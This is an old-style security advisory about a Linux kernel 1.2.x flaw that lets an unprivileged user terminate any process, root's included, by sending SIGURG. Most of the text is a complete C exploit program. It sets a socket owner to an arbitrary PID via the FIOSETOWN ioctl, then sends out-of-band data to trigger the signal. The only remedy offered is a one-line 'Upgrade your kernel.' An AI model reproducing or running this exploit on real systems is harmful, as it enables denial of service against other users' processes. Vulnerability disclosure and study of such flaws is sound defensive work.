COMMAND
kernel (SIGURG)
SYSTEMS AFFECTED
linux kernel 1.2.11 or earlier
PROBLEM
The kernel does not do proper checking on whom is killing whom's
task, thus anyone can kill anyones tasks. User can kill tasks
not belong to them, any task, including root! It's a problem with
certain libraries, but upgrading the kernel fixes it. Exploit
follows:
------------------------------------------------------------------
/*
This program, when run on most Linux systems (tested with 1.2.9,
but should work with versions at least up to 1.2.11 and 1.3.6),
will send SIGURG to specified process, even if you don't own it.
This signal (unless caught or ignored) will terminate the process.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 8765 /* just a random hopefully unused TCP port */
#define ERROR_CHECK(x, msg) do { \
if ((x) == -1) { \
perror(msg); \
exit(1); \
} \
} while (0)
int main(int argc, char *argv[])
{
int s, s1, child_pid;
struct sockaddr_in addr;
int one = 1;
char c = 0;
if (argc != 2) {
fprintf(stderr, "usage: %s pid\n", argv[0]);
exit(1);
}
ERROR_CHECK( s = socket(AF_INET, SOCK_STREAM, 0), "socket" );
ERROR_CHECK( setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one), "setsockopt" );
memset(&addr, 0, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = INADDR_ANY;
ERROR_CHECK( bind(s, (struct sockaddr *) &addr, sizeof addr), "bind" );
ERROR_CHECK( listen(s, 1), "listen" );
ERROR_CHECK( child_pid = fork(), "fork" );
if (child_pid == 0) { /* child */
int pid_to_kill = atoi(argv[1]);
ERROR_CHECK( s1 = socket(AF_INET, SOCK_STREAM, 0), "child socket" );
ERROR_CHECK( connect(s1, (struct sockaddr *) &addr, sizeof addr), "child connect" );
ERROR_CHECK( ioctl(s1, FIOSETOWN, &pid_to_kill), "child ioctl" ); /* !!! */
ERROR_CHECK( write(s1, &c, 1), "child write" ); /* wake up blocked parent */
ERROR_CHECK( read(s1, &c, 1), "child read" );
_exit(0);
}
ERROR_CHECK( s1 = accept(s, NULL, NULL), "accept" );
ERROR_CHECK( read(s1, &c, 1), "read" ); /* block until child is ready */
ERROR_CHECK( send(s1, &c, 1, MSG_OOB), "send" ); /* this will send SIGURG */
return 0;
}
------------------------------------------------------------------
SOLUTION
Upgrade your kernel.